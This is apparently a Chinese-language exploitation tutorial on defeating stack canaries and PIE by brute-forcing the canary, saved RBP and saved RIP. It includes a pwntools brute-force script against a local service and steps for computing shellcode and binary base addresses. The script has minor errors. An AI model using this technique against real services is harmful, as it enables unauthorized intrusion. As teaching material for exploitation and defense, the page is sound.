BF Addresses in the Stack

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如果您面对一个由 canary 和 PIE（位置无关可执行文件）保护的二进制文件，您可能需要找到一种绕过它们的方法。

请注意，如果二进制文件是静态编译的且无法识别函数，checksec 可能无法发现二进制文件受到 canary 保护。 但是，如果您发现在函数调用开始时将一个值保存在堆栈中，并且在退出之前检查了该值，您可以手动注意到这一点。

暴力破解地址

为了绕过 PIE，您需要泄漏一些地址。如果二进制文件没有泄漏任何地址，最好的方法是在易受攻击的函数中暴力破解堆栈中保存的 RBP 和 RIP。 例如，如果一个二进制文件同时使用canary和PIE进行保护，您可以开始暴力破解 canary，然后接下来的 8 字节（x64）将是保存的RBP，接下来的 8 字节将是保存的RIP。

假定堆栈中的返回地址属于主二进制代码，如果漏洞位于二进制代码中，通常情况下会是这样。

要从二进制文件中暴力破解 RBP 和 RIP，您可以发现一个有效的猜测字节是否正确，如果程序输出了内容或者没有崩溃。可以使用与用于暴力破解 canary 相同的函数来暴力破解 RBP 和 RIP：

from pwn import *

def connect():
r = remote("localhost", 8788)

def get_bf(base):
canary = ""
guess = 0x0
base += canary

while len(canary) < 8:
while guess != 0xff:
r = connect()

r.recvuntil("Username: ")
r.send(base + chr(guess))

if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()

print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base

# CANARY BF HERE
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary

# PIE BF FROM HERE
print("Brute-Forcing RBP")
base_canary_rbp = get_bf(base_canary)
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])

最后你需要战胜PIE的是计算从泄漏的地址中得到的有用地址：RBP和RIP。

从RBP中，你可以计算出你在堆栈中写入shell的位置。这对于知道你将在堆栈中写入字符串"/bin/sh\x00"的位置非常有用。要计算泄漏的RBP和你的shellcode之间的距离，你可以在泄漏RBP后设置一个断点，检查你的shellcode位于何处，然后计算shellcode和RBP之间的距离：

INI_SHELLCODE = RBP - 1152

从RIP中，您可以计算PIE二进制文件的基地址，这是您需要创建有效的ROP链所需的内容。 要计算基地址，只需执行objdump -d vunbinary并检查最新地址的反汇编代码：

在这个示例中，您可以看到只需要1字节和半字节就可以定位所有代码，因此，在这种情况下，基地址将是泄漏的RIP，但以"000"结尾。例如，如果泄漏了0x562002970ecf，则基地址为0x562002970000

elf.address = RIP - (RIP & 0xfff)

改进

根据这篇帖子的一些观察，当泄漏RBP和RIP值时，服务器不会因为一些不正确的值而崩溃，而BF脚本会认为它获得了正确的值。这是因为即使不是完全正确的地址，有些地址可能也不会导致崩溃。

根据该博客文章，建议在请求之间向服务器引入短暂延迟。